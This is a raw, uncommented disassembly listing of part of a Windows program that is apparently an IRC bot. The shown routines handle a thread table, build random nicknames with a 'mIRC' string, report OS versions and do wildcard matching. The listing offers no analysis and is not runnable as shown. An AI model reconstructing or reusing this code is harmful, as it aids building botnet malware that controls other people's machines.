sub_40AD80	endp

; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		and	dword ptr [ebp-4], 0
		push	esi
		push	edi
		mov	dword ptr [ebp-8], 100h
		call	near ptr 2680F34h
		nop
		push	eax
		call	sub_41B8D8
		pop	ecx
		lea	eax, [ebp-8]
		mov	esi, offset byte_431288
		push	eax
		push	esi
		nop
		call	near ptr 26B0000h
		movsx	eax, byte_431288
		push	41h
		pop	ecx
		push	1
		pop	edx

loc_40AE09:				; CODE XREF: ___:0040AE14j
		cmp	eax, ecx
		jnz	short loc_40AE10
		mov	[ebp-4], edx

loc_40AE10:				; CODE XREF: ___:0040AE0Bj
		inc	ecx
		cmp	ecx, 5Bh
		jl	short loc_40AE09
		push	61h
		pop	ecx

loc_40AE19:				; CODE XREF: ___:0040AE24j
		cmp	eax, ecx
		jnz	short loc_40AE20
		mov	[ebp-4], edx

loc_40AE20:				; CODE XREF: ___:0040AE1Bj
		inc	ecx
		cmp	ecx, 7Bh
		jl	short loc_40AE19
		mov	edi, [ebp+8]
		push	esi
		push	1Ch
		push	edi
		call	sub_41B980
		xor	esi, esi
		add	esp, 0Ch
		cmp	dword_429098, esi
		jle	short loc_40AE65

loc_40AE3F:				; CODE XREF: ___:0040AE63j
		call	sub_41B8E2
		push	0Ah
		cdq
		pop	ecx
		idiv	ecx
		push	edx
		push	edi
		push	offset dword_42B498
		push	1Ch
		push	edi
		call	sub_41B980
		add	esp, 14h
		inc	esi
		cmp	esi, dword_429098
		jl	short loc_40AE3F

loc_40AE65:				; CODE XREF: ___:0040AE3Dj
		mov	eax, edi
		pop	edi
		pop	esi
		leave
		retn
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		push	esi
		push	edi
		nop
		call	near ptr 2680F34h
		push	eax
		call	sub_41B8D8
		pop	ecx
		lea	eax, [ebp-0Ch]
		push	0Ah
		push	eax
		push	7
		push	800h
		nop
		call	near ptr 26C0000h
		mov	edi, [ebp+8]
		lea	eax, [ebp-0Ch]
		push	eax
		push	offset dword_43128C
		push	1Ch
		push	edi
		call	sub_41B980
		xor	esi, esi
		add	esp, 10h
		cmp	dword_429098, esi
		jle	short loc_40AEDA

loc_40AEB4:				; CODE XREF: ___:0040AED8j
		call	sub_41B8E2
		push	0Ah
		cdq
		pop	ecx
		idiv	ecx
		push	edx
		push	edi
		push	offset dword_42B498
		push	1Ch
		push	edi
		call	sub_41B980
		add	esp, 14h
		inc	esi
		cmp	esi, dword_429098
		jl	short loc_40AEB4

loc_40AEDA:				; CODE XREF: ___:0040AEB2j
		mov	eax, edi
		pop	edi
		pop	esi
		leave
		retn
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		sub	esp, 94h
		push	esi
		lea	eax, [ebp-94h]
		push	edi
		push	eax
		mov	esi, offset dword_43D158
		mov	dword ptr [ebp-94h], 94h
		nop
		call	near ptr 26C061Bh
		nop
		call	near ptr 2680F34h
		push	eax
		call	sub_41B8D8
		cmp	dword ptr [ebp-90h], 4
		pop	ecx
		jnz	short loc_40AF64
		cmp	dword ptr [ebp-8Ch], 0
		jnz	short loc_40AF44
		cmp	dword ptr [ebp-84h], 1
		jnz	short loc_40AF34
		mov	esi, offset dword_4312B4

loc_40AF34:				; CODE XREF: ___:0040AF2Dj
		cmp	dword ptr [ebp-84h], 2
		jnz	short loc_40AFA0
		mov	esi, offset dword_4312B0
		jmp	short loc_40AFA0
; ---------------------------------------------------------------------------

loc_40AF44:				; CODE XREF: ___:0040AF24j
		cmp	dword ptr [ebp-8Ch], 0Ah
		jnz	short loc_40AF54
		mov	esi, offset dword_4312AC
		jmp	short loc_40AFA0
; ---------------------------------------------------------------------------

loc_40AF54:				; CODE XREF: ___:0040AF4Bj
		cmp	dword ptr [ebp-8Ch], 5Ah
		jnz	short loc_40AF9B
		mov	esi, offset dword_4312A8
		jmp	short loc_40AFA0
; ---------------------------------------------------------------------------

loc_40AF64:				; CODE XREF: ___:0040AF1Bj
		cmp	dword ptr [ebp-90h], 5
		jnz	short loc_40AF9B
		cmp	dword ptr [ebp-8Ch], 0
		jnz	short loc_40AF7D
		mov	esi, offset dword_4312A4
		jmp	short loc_40AFA0
; ---------------------------------------------------------------------------

loc_40AF7D:				; CODE XREF: ___:0040AF74j
		cmp	dword ptr [ebp-8Ch], 1
		jnz	short loc_40AF8D
		mov	esi, offset dword_4312A0
		jmp	short loc_40AFA0
; ---------------------------------------------------------------------------

loc_40AF8D:				; CODE XREF: ___:0040AF84j
		cmp	dword ptr [ebp-8Ch], 2
		mov	esi, offset dword_43129C
		jz	short loc_40AFA0

loc_40AF9B:				; CODE XREF: ___:0040AF5Bj
					; ___:0040AF6Bj
		mov	esi, offset dword_431298

loc_40AFA0:				; CODE XREF: ___:0040AF3Bj
					; ___:0040AF42j ...
		mov	edi, [ebp+8]
		push	esi
		push	offset dword_431290
		push	1Ch
		push	edi
		call	sub_41B980
		xor	esi, esi
		add	esp, 10h
		cmp	dword_429098, esi
		jle	short loc_40AFE4

loc_40AFBE:				; CODE XREF: ___:0040AFE2j
		call	sub_41B8E2
		push	0Ah
		cdq
		pop	ecx
		idiv	ecx
		push	edx
		push	edi
		push	offset dword_42B498
		push	1Ch
		push	edi
		call	sub_41B980
		add	esp, 14h
		inc	esi
		cmp	esi, dword_429098
		jl	short loc_40AFBE

loc_40AFE4:				; CODE XREF: ___:0040AFBCj
		mov	eax, edi
		pop	edi
		pop	esi
		leave
		retn

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40AFEA	proc near		; CODE XREF: sub_40B08D+5Cp

var_1C		= byte ptr -1Ch
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 1Ch
		push	esi
		nop
		call	near ptr 2680F34h
		xor	edx, edx
		mov	ecx, 5265C00h
		div	ecx
		push	0
		push	offset aMirc_0	; "mIRC"
		mov	esi, eax
		cmp	esi, 64h
		jbe	short loc_40B039
		call	dword_4CAFB0
		test	eax, eax
		mov	eax, offset dword_4312C0
		jnz	short loc_40B022
		mov	eax, offset dword_43D158

loc_40B022:				; CODE XREF: sub_40AFEA+31j
		push	eax
		push	esi
		push	offset dword_4312B8
		lea	eax, [ebp+var_1C]
		push	1Ch
		push	eax
		call	sub_41B980
		add	esp, 14h
		jmp	short loc_40B059
; ---------------------------------------------------------------------------

loc_40B039:				; CODE XREF: sub_40AFEA+22j
		call	dword_4CAFB0
		test	eax, eax
		mov	eax, offset dword_4312C0
		jnz	short loc_40B04D
		mov	eax, offset dword_43D158

loc_40B04D:				; CODE XREF: sub_40AFEA+5Cj
		push	eax
		lea	eax, [ebp+var_1C]
		push	eax
		call	sub_41B886
		pop	ecx
		pop	ecx

loc_40B059:				; CODE XREF: sub_40AFEA+4Dj
		lea	eax, [ebp+var_1C]
		push	eax
		call	sub_41AFE0
		pop	ecx
		cmp	eax, 2
		pop	esi
		jbe	short loc_40B088
		push	1Ch
		lea	eax, [ebp+var_1C]
		push	[ebp+arg_0]
		push	eax
		call	sub_41C1E0
		lea	eax, [ebp+var_1C]
		push	1Ch
		push	eax
		push	[ebp+arg_0]
		call	sub_41B5F0
		add	esp, 18h

loc_40B088:				; CODE XREF: sub_40AFEA+7Dj
		mov	eax, [ebp+arg_0]
		leave
		retn
sub_40AFEA	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40B08D	proc near		; CODE XREF: sub_4017ED+7Fp
					; sub_401955+50p ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		push	esi
		push	edi
		xor	edi, edi
		mov	esi, offset dword_42D5C4

loc_40B099:				; CODE XREF: sub_40B08D+3Fj
		cmp	[ebp+arg_C], 0
		jz	short loc_40B0B4
		lea	eax, [esi-0Ch]
		push	eax
		push	[ebp+arg_C]
		call	sub_41C070
		neg	eax
		pop	ecx
		sbb	eax, eax
		pop	ecx
		inc	eax
		jmp	short loc_40B0BE
; ---------------------------------------------------------------------------

loc_40B0B4:				; CODE XREF: sub_40B08D+10j
		mov	ecx, [esi]
		xor	eax, eax
		cmp	ecx, [ebp+arg_4]
		setz	al

loc_40B0BE:				; CODE XREF: sub_40B08D+25j
		test	eax, eax
		jnz	short loc_40B0D0
		add	esi, 14h
		inc	edi
		cmp	esi, offset off_42D63C
		jb	short loc_40B099
		jmp	short loc_40B0DE
; ---------------------------------------------------------------------------

loc_40B0D0:				; CODE XREF: sub_40B08D+33j
		push	[ebp+arg_0]
		lea	eax, [edi+edi*4]
		call	off_42D5C8[eax*4]
		pop	ecx

loc_40B0DE:				; CODE XREF: sub_40B08D+41j
		cmp	[ebp+arg_8], 0
		pop	edi
		pop	esi
		jz	short loc_40B0F1
		push	[ebp+arg_0]
		call	sub_40AFEA
		pop	ecx
		pop	ebp
		retn
; ---------------------------------------------------------------------------

loc_40B0F1:				; CODE XREF: sub_40B08D+57j
		mov	eax, [ebp+arg_0]
		pop	ebp
		retn
sub_40B08D	endp


; =============== S U B	R O U T	I N E =======================================



sub_40B0F6	proc near		; CODE XREF: ___:00401599p
					; ___:004015D8p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	edi
		xor	edi, edi
		mov	eax, offset dword_43DCE0

loc_40B0FE:				; CODE XREF: sub_40B0F6+18j
		cmp	byte ptr [eax],	0
		jz	short loc_40B112
		add	eax, 234h
		inc	edi
		cmp	eax, offset dword_4CACE0
		jl	short loc_40B0FE
		jmp	short loc_40B15D
; ---------------------------------------------------------------------------

loc_40B112:				; CODE XREF: sub_40B0F6+Bj
		push	esi
		mov	esi, edi
		imul	esi, 234h
		push	1FFh
		push	[esp+0Ch+arg_0]
		lea	eax, dword_43DCE0[esi]
		push	eax
		call	sub_41B5F0
		mov	eax, [esp+14h+arg_4]
		add	esp, 0Ch
		mov	dword_43DEE0[esi], eax
		and	dword_43DEE4[esi], 0
		mov	eax, [esp+8+arg_8]
		and	dword_43DEE8[esi], 0
		mov	dword_43DEEC[esi], eax
		and	byte_43DEF8[esi], 0
		pop	esi

loc_40B15D:				; CODE XREF: sub_40B0F6+1Aj
		mov	eax, edi
		pop	edi
		retn
sub_40B0F6	endp

; ---------------------------------------------------------------------------
byte_40B161	db 55h,	8Bh, 0ECh	; DATA XREF: sub_401ACD+2989o
		dd 98EC81h, 458B0000h, 6A575608h, 0F08B5926h, 0FF68BD8Dh
		dd 0A5F3FFFFh, 0C7F075FFh, 9480h, 100h,	6C858D00h, 0FFFFFFFFh
		dd 0FF50F475h, 0FFFF68B5h, 15E8FFh, 75FF0000h, 26CE8ECh
		dd 0C4830000h, 90006A14h, 2C4E4FE8h, 555E5F02h,	0EC81EC8Bh
		dd 200h, 6A5756h, 681075FFh, 4313C0h, 0FF0C75FFh, 9FE80875h
		dd 83FFFFE8h, 0FF3314C4h, 43DCE0BEh, 3E8000h, 7D833C74h
		dd 9750014h, 204BE83h, 75000000h, 8D57562Dh, 0FFFE0085h
		dd 0C1C868FFh, 0E8500042h, 10682h, 858D016Ah, 0FFFFFE00h
		dd 501075FFh, 0FF0C75FFh, 57E80875h, 83FFFFE8h,	0C68124C4h
		dd 234h, 0E0FE8147h, 7C004CACh,	0C95E5FB0h
; ---------------------------------------------------------------------------
		retn

; =============== S U B	R O U T	I N E =======================================



sub_40B231	proc near		; CODE XREF: sub_401ACD+7BA4p
					; sub_40B2BF+12p ...

arg_0		= dword	ptr  4

		push	ebx
		push	ebp
		push	esi
		mov	esi, [esp+0Ch+arg_0]
		xor	ebx, ebx
		xor	ebp, ebp
		cmp	esi, ebx
		jle	short loc_40B2B9
		cmp	esi, 400h
		jge	short loc_40B2B9
		imul	esi, 234h
		push	edi
		push	ebx
		push	dword_43DEF4[esi]
		lea	edi, dword_43DEF4[esi]
		nop
		call	near ptr 2690000h
		cmp	[edi], ebx
		jz	short loc_40B269
		push	1
		pop	ebp

loc_40B269:				; CODE XREF: sub_40B231+33j
		mov	[edi], ebx
		lea	edi, dword_43DEE8[esi]
		mov	dword_43DEE0[esi], ebx
		mov	dword_43DEE4[esi], ebx
		mov	eax, [edi]
		cmp	eax, ebx
		jbe	short loc_40B28A
		push	eax
		call	sub_4199C9
		pop	ecx

loc_40B28A:				; CODE XREF: sub_40B231+50j
		mov	[edi], ebx
		lea	edi, dword_43DEEC[esi]
		mov	byte ptr dword_43DCE0[esi], bl
		mov	byte_43DEF8[esi], bl
		push	dword ptr [edi]
		call	dword_4CB03C
		lea	esi, dword_43DEF0[esi]
		mov	[edi], ebx
		push	dword ptr [esi]
		call	dword_4CB03C
		mov	[esi], ebx
		pop	edi

loc_40B2B9:				; CODE XREF: sub_40B231+Dj
					; sub_40B231+15j
		mov	eax, ebp
		pop	esi
		pop	ebp
		pop	ebx
		retn
sub_40B231	endp


; =============== S U B	R O U T	I N E =======================================



sub_40B2BF	proc near		; CODE XREF: sub_40111D+18p
					; ___:loc_4017D9p ...
		push	ebx
		push	esi
		push	edi
		xor	ebx, ebx
		xor	edi, edi
		mov	esi, offset dword_43DCE0

loc_40B2CB:				; CODE XREF: sub_40B2BF+2Aj
		cmp	byte ptr [esi],	0
		jz	short loc_40B2DC
		push	edi
		call	sub_40B231
		test	eax, eax
		pop	ecx
		jz	short loc_40B2DC
		inc	ebx

loc_40B2DC:				; CODE XREF: sub_40B2BF+Fj
					; sub_40B2BF+1Aj
		add	esi, 234h
		inc	edi
		cmp	esi, offset dword_4CACE0
		jl	short loc_40B2CB
		pop	edi
		mov	eax, ebx
		pop	esi
		pop	ebx
		retn
sub_40B2BF	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40B2F1	proc near		; CODE XREF: sub_401ACD+418Ep
					; sub_401ACD+42E0p ...

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ebx
		push	esi
		xor	ebx, ebx
		push	edi
		mov	edi, [ebp+arg_4]
		mov	[ebp+var_4], ebx
		mov	esi, offset dword_43DEE4

loc_40B305:				; CODE XREF: sub_40B2F1+43j
		mov	eax, [esi-4]
		cmp	eax, [ebp+arg_0]
		jnz	short loc_40B327
		test	edi, edi
		jle	short loc_40B319
		cmp	[esi], edi
		jz	short loc_40B319
		cmp	ebx, edi
		jnz	short loc_40B327

loc_40B319:				; CODE XREF: sub_40B2F1+1Ej
					; sub_40B2F1+22j
		push	ebx
		call	sub_40B231
		test	eax, eax
		pop	ecx
		jz	short loc_40B327
		inc	[ebp+var_4]

loc_40B327:				; CODE XREF: sub_40B2F1+1Aj
					; sub_40B2F1+26j ...
		add	esi, 234h
		inc	ebx
		cmp	esi, offset dword_4CAEE4
		jl	short loc_40B305
		mov	eax, [ebp+var_4]
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_40B2F1	endp


; =============== S U B	R O U T	I N E =======================================



sub_40B33E	proc near		; CODE XREF: ___:00401630p
					; sub_401ACD+97Ap ...

arg_0		= dword	ptr  4

		xor	eax, eax
		mov	ecx, offset dword_43DEE0

loc_40B345:				; CODE XREF: sub_40B33E+1Cj
		mov	edx, [ecx]
		cmp	edx, [esp+arg_0]
		jnz	short loc_40B34E
		inc	eax

loc_40B34E:				; CODE XREF: sub_40B33E+Dj
		add	ecx, 234h
		cmp	ecx, offset dword_4CAEE0
		jl	short loc_40B345
		retn
sub_40B33E	endp


; =============== S U B	R O U T	I N E =======================================



sub_40B35D	proc near		; CODE XREF: sub_401ACD+2433p

arg_0		= dword	ptr  4

		xor	eax, eax
		push	esi
		xor	edx, edx
		mov	ecx, offset dword_43DEE0

loc_40B367:				; CODE XREF: sub_40B35D+1Fj
		mov	esi, [ecx]
		cmp	esi, [esp+4+arg_0]
		jz	short loc_40B380
		add	ecx, 234h
		inc	edx
		cmp	ecx, offset dword_4CAEE0
		jl	short loc_40B367
		pop	esi
		retn
; ---------------------------------------------------------------------------

loc_40B380:				; CODE XREF: sub_40B35D+10j
		mov	eax, edx
		pop	esi
		retn
sub_40B35D	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40B384	proc near		; CODE XREF: sub_401ACD+1066p
					; sub_401ACD+126Cp ...

var_200		= byte ptr -200h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch
arg_18		= dword	ptr  20h
arg_1C		= dword	ptr  24h

		push	ebp
		mov	ebp, esp
		sub	esp, 200h
		xor	eax, eax
		cmp	[ebp+arg_1C], eax
		jz	short loc_40B39D
		push	[ebp+arg_1C]
		call	sub_41B779
		pop	ecx

loc_40B39D:				; CODE XREF: sub_40B384+Ej
		push	eax
		push	[ebp+arg_18]
		call	sub_40B2F1
		pop	ecx
		test	eax, eax
		pop	ecx
		jle	short loc_40B3C9
		push	eax
		lea	eax, [ebp+var_200]
		push	[ebp+arg_14]
		push	[ebp+arg_10]
		push	offset aSSStopped_DThr ; "%s %s	stopped. (%d thread(s) stopped.)"
		push	eax
		call	sub_41B886
		add	esp, 14h
		jmp	short loc_40B3E3
; ---------------------------------------------------------------------------

loc_40B3C9:				; CODE XREF: sub_40B384+26j
		push	[ebp+arg_14]
		lea	eax, [ebp+var_200]
		push	[ebp+arg_10]
		push	offset aSNoSThreadFoun ; "%s No	%s thread found."
		push	eax
		call	sub_41B886
		add	esp, 10h

loc_40B3E3:				; CODE XREF: sub_40B384+43j
		cmp	[ebp+arg_C], 0
		jnz	short loc_40B403
		push	0
		lea	eax, [ebp+var_200]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_409A72
		add	esp, 14h

loc_40B403:				; CODE XREF: sub_40B384+63j
		lea	eax, [ebp+var_200]
		push	eax
		call	sub_4151AC
		pop	ecx
		leave
		retn
sub_40B384	endp


; =============== S U B	R O U T	I N E =======================================



sub_40B412	proc near		; CODE XREF: sub_4017ED+159p
					; ___:0040BA47p ...

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		xor	ecx, ecx
		imul	eax, 234h
		mov	dword_43DEF4[eax], ecx
		mov	dword_43DEE0[eax], ecx
		mov	dword_43DEE4[eax], ecx
		mov	dword_43DEE8[eax], ecx
		mov	dword_43DEEC[eax], ecx
		mov	dword_43DEF0[eax], ecx
		mov	byte ptr dword_43DCE0[eax], cl
		mov	byte_43DEF8[eax], cl
		retn
sub_40B412	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40B44F	proc near		; CODE XREF: sub_401ACD+7E3Bp
					; sub_40B57D+6Bp ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	esi
		mov	esi, [ebp+arg_0]
		push	1
		pop	eax

loc_40B459:				; CODE XREF: sub_40B44F+68j
		mov	cl, [esi]
		test	cl, cl
		jz	short loc_40B4B9
		cmp	eax, 1
		jnz	short loc_40B4B9
		mov	edx, [ebp+arg_4]
		mov	dl, [edx]
		test	dl, dl
		jz	short loc_40B4B9
		cmp	cl, 2Ah
		jz	short loc_40B4A0
		cmp	cl, 3Fh
		jz	short loc_40B483
		cmp	cl, 5Bh
		jz	short loc_40B488
		xor	eax, eax
		cmp	cl, dl
		setz	al

loc_40B483:				; CODE XREF: sub_40B44F+26j
		inc	[ebp+arg_4]
		jmp	short loc_40B4B3
; ---------------------------------------------------------------------------

loc_40B488:				; CODE XREF: sub_40B44F+2Bj
		lea	eax, [ebp+arg_4]
		inc	esi
		push	eax
		lea	eax, [ebp+arg_0]
		push	eax
		mov	[ebp+arg_0], esi
		call	sub_40B4E5
		mov	esi, [ebp+arg_0]
		pop	ecx
		pop	ecx
		jmp	short loc_40B4B3
; ---------------------------------------------------------------------------

loc_40B4A0:				; CODE XREF: sub_40B44F+21j
		lea	eax, [ebp+arg_4]
		push	eax
		lea	eax, [ebp+arg_0]
		push	eax
		call	sub_40B57D
		mov	esi, [ebp+arg_0]
		pop	ecx
		pop	ecx
		dec	esi

loc_40B4B3:				; CODE XREF: sub_40B44F+37j
					; sub_40B44F+4Fj
		inc	esi
		mov	[ebp+arg_0], esi
		jmp	short loc_40B459
; ---------------------------------------------------------------------------

loc_40B4B9:				; CODE XREF: sub_40B44F+Ej
					; sub_40B44F+13j ...
		cmp	byte ptr [esi],	2Ah
		jnz	short loc_40B4C9
		cmp	eax, 1
		jnz	short loc_40B4E0
		inc	esi
		mov	[ebp+arg_0], esi
		jmp	short loc_40B4B9
; ---------------------------------------------------------------------------

loc_40B4C9:				; CODE XREF: sub_40B44F+6Dj
		cmp	eax, 1
		jnz	short loc_40B4E0
		mov	eax, [ebp+arg_4]
		cmp	byte ptr [eax],	0
		jnz	short loc_40B4E0
		cmp	byte ptr [esi],	0
		jnz	short loc_40B4E0
		push	1
		pop	eax
		jmp	short loc_40B4E2
; ---------------------------------------------------------------------------

loc_40B4E0:				; CODE XREF: sub_40B44F+72j
					; sub_40B44F+7Dj ...
		xor	eax, eax

loc_40B4E2:				; CODE XREF: sub_40B44F+8Fj
		pop	esi
		pop	ebp
		retn
sub_40B44F	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40B4E5	proc near		; CODE XREF: sub_40B44F+45p

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		mov	edx, [ebp+arg_0]
		push	edi
		xor	edi, edi
		push	1
		mov	ecx, [edx]
		and	[ebp+var_8], edi
		pop	eax
		cmp	byte ptr [ecx],	21h
		mov	[ebp+var_4], eax
		jnz	short loc_40B506
		inc	ecx
		mov	[ebp+var_8], eax
		mov	[edx], ecx

loc_40B506:				; CODE XREF: sub_40B4E5+19j
		push	ebx
		push	esi

loc_40B508:				; CODE XREF: sub_40B4E5+7Bj
		mov	ecx, [edx]
		mov	bl, [ecx]
		cmp	bl, 5Dh
		jnz	short loc_40B516
		cmp	[ebp+var_4], eax
		jnz	short loc_40B562

loc_40B516:				; CODE XREF: sub_40B4E5+2Aj
		test	edi, edi
		jnz	short loc_40B557
		cmp	bl, 2Dh
		jnz	short loc_40B54B
		mov	al, [ecx+1]
		lea	esi, [ecx+1]
		mov	cl, [ecx-1]
		cmp	cl, al
		jge	short loc_40B54B
		cmp	al, 5Dh
		jz	short loc_40B54B
		cmp	[ebp+var_4], edi
		jnz	short loc_40B54B
		mov	ebx, [ebp+arg_4]
		mov	ebx, [ebx]
		mov	bl, [ebx]
		cmp	bl, cl
		jl	short loc_40B557
		cmp	bl, al
		jg	short loc_40B557
		push	1
		mov	[edx], esi
		pop	edi
		jmp	short loc_40B557
; ---------------------------------------------------------------------------

loc_40B54B:				; CODE XREF: sub_40B4E5+38j
					; sub_40B4E5+45j ...
		mov	eax, [ebp+arg_4]
		mov	eax, [eax]
		cmp	bl, [eax]
		jnz	short loc_40B557
		push	1
		pop	edi

loc_40B557:				; CODE XREF: sub_40B4E5+33j
					; sub_40B4E5+59j ...
		inc	dword ptr [edx]
		and	[ebp+var_4], 0
		push	1
		pop	eax
		jmp	short loc_40B508
; ---------------------------------------------------------------------------

loc_40B562:				; CODE XREF: sub_40B4E5+2Fj
		cmp	[ebp+var_8], eax
		pop	esi
		pop	ebx
		jnz	short loc_40B56F
		mov	ecx, eax
		sub	ecx, edi
		mov	edi, ecx

loc_40B56F:				; CODE XREF: sub_40B4E5+82j
		cmp	edi, eax
		jnz	short loc_40B578
		mov	eax, [ebp+arg_4]
		inc	dword ptr [eax]

loc_40B578:				; CODE XREF: sub_40B4E5+8Cj
		mov	eax, edi
		pop	edi
		leave
		retn
sub_40B4E5	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40B57D	proc near		; CODE XREF: sub_40B44F+59p

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ebx
		push	esi
		mov	esi, [ebp+arg_0]
		push	edi
		mov	edi, [ebp+arg_4]
		mov	[ebp+var_4], 1
		inc	dword ptr [esi]
		mov	ecx, [esi]
		mov	eax, [edi]
		xor	ebx, ebx

loc_40B599:				; CODE XREF: sub_40B57D+3Aj
		cmp	[eax], bl
		jz	short loc_40B5B9
		mov	cl, [ecx]
		cmp	cl, 3Fh
		jz	short loc_40B5AE
		cmp	cl, 2Ah
		jnz	short loc_40B5B9
		cmp	cl, 3Fh
		jnz	short loc_40B5B1

loc_40B5AE:				; CODE XREF: sub_40B57D+25j
		inc	eax
		mov	[edi], eax

loc_40B5B1:				; CODE XREF: sub_40B57D+2Fj
		inc	dword ptr [esi]
		mov	ecx, [esi]
		mov	eax, [edi]
		jmp	short loc_40B599
; ---------------------------------------------------------------------------

loc_40B5B9:				; CODE XREF: sub_40B57D+1Ej
					; sub_40B57D+2Aj ...
		mov	eax, [esi]
		cmp	byte ptr [eax],	2Ah
		jnz	short loc_40B5C4
		inc	dword ptr [esi]
		jmp	short loc_40B5B9
; ---------------------------------------------------------------------------

loc_40B5C4:				; CODE XREF: sub_40B57D+41j
		mov	eax, [edi]
		mov	cl, [eax]
		cmp	cl, bl
		jnz	short loc_40B5E5
		mov	edx, [esi]
		cmp	[edx], bl
		jz	short loc_40B5D6
		xor	eax, eax
		jmp	short loc_40B645
; ---------------------------------------------------------------------------

loc_40B5D6:				; CODE XREF: sub_40B57D+53j
		cmp	cl, bl
		jnz	short loc_40B5E5
		mov	ecx, [esi]
		cmp	[ecx], bl
		jnz	short loc_40B5E5
		push	1
		pop	eax
		jmp	short loc_40B645
; ---------------------------------------------------------------------------

loc_40B5E5:				; CODE XREF: sub_40B57D+4Dj
					; sub_40B57D+5Bj ...
		push	eax
		push	dword ptr [esi]
		call	sub_40B44F
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40B62F

loc_40B5F3:				; CODE XREF: sub_40B57D+B0j
		inc	dword ptr [edi]
		mov	eax, [edi]

loc_40B5F7:				; CODE XREF: sub_40B57D+90j
		mov	ecx, [esi]
		mov	dl, [eax]
		mov	cl, [ecx]
		cmp	cl, dl
		jz	short loc_40B60F
		cmp	cl, 5Bh
		jz	short loc_40B60F
		cmp	dl, bl
		jz	short loc_40B60F
		inc	eax
		mov	[edi], eax
		jmp	short loc_40B5F7
; ---------------------------------------------------------------------------

loc_40B60F:				; CODE XREF: sub_40B57D+82j
					; sub_40B57D+87j ...
		mov	eax, [edi]
		cmp	[eax], bl
		jz	short loc_40B626
		push	eax
		push	dword ptr [esi]
		call	sub_40B44F
		neg	eax
		pop	ecx
		sbb	eax, eax
		pop	ecx
		inc	eax
		jmp	short loc_40B62B
; ---------------------------------------------------------------------------

loc_40B626:				; CODE XREF: sub_40B57D+96j
		mov	[ebp+var_4], ebx
		xor	eax, eax

loc_40B62B:				; CODE XREF: sub_40B57D+A7j
		cmp	eax, ebx
		jnz	short loc_40B5F3

loc_40B62F:				; CODE XREF: sub_40B57D+74j
		mov	eax, [edi]
		cmp	[eax], bl
		jnz	short loc_40B642
		mov	eax, [esi]
		cmp	[eax], bl
		jnz	short loc_40B642
		mov	[ebp+var_4], 1

loc_40B642:				; CODE XREF: sub_40B57D+B6j
					; sub_40B57D+BCj
		mov	eax, [ebp+var_4]

loc_40B645:				; CODE XREF: sub_40B57D+57j
					; sub_40B57D+66j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_40B57D	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40B64A	proc near		; CODE XREF: sub_401ACD+2AF5p

var_400		= byte ptr -400h
var_200		= byte ptr -200h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 400h
		push	ebx
		push	edi
		lea	eax, [ebp+var_200]
		push	offset unk_4317DC
		push	eax
		xor	ebx, ebx
		call	sub_41B886
		cmp	dword_431440, ebx
		pop	ecx
		pop	ecx
		mov	edi, 200h
		jz	short loc_40B6BC
		push	esi
		mov	esi, offset dword_431448

loc_40B67D:				; CODE XREF: sub_40B64A+6Fj
		mov	eax, [esi]
		test	eax, eax
		jbe	short loc_40B6B2
		add	ebx, eax
		push	eax
		lea	eax, [esi-26h]
		push	eax
		lea	eax, [ebp+var_400]
		push	offset dword_4317D0
		push	eax
		call	sub_41B886
		lea	eax, [ebp+var_400]
		push	edi
		push	eax
		lea	eax, [ebp+var_200]
		push	eax
		call	sub_41C1E0
		add	esp, 1Ch

loc_40B6B2:				; CODE XREF: sub_40B64A+37j
		add	esi, 40h
		cmp	dword ptr [esi-8], 0
		jnz	short loc_40B67D
		pop	esi

loc_40B6BC:				; CODE XREF: sub_40B64A+2Bj
		push	dword_4CACE4
		call	sub_41A88B
		pop	ecx
		push	eax
		push	ebx
		lea	eax, [ebp+var_400]
		push	offset aTotalDInS_ ; " Total: %d in %s."
		push	eax
		call	sub_41B886
		lea	eax, [ebp+var_400]
		push	edi
		push	eax
		lea	eax, [ebp+var_200]
		push	eax
		call	sub_41C1E0
		push	0
		lea	eax, [ebp+var_200]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_409A72
		lea	eax, [ebp+var_200]
		push	eax
		call	sub_4151AC
		add	esp, 34h
		pop	edi
		pop	ebx
		leave
		retn
sub_40B64A	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


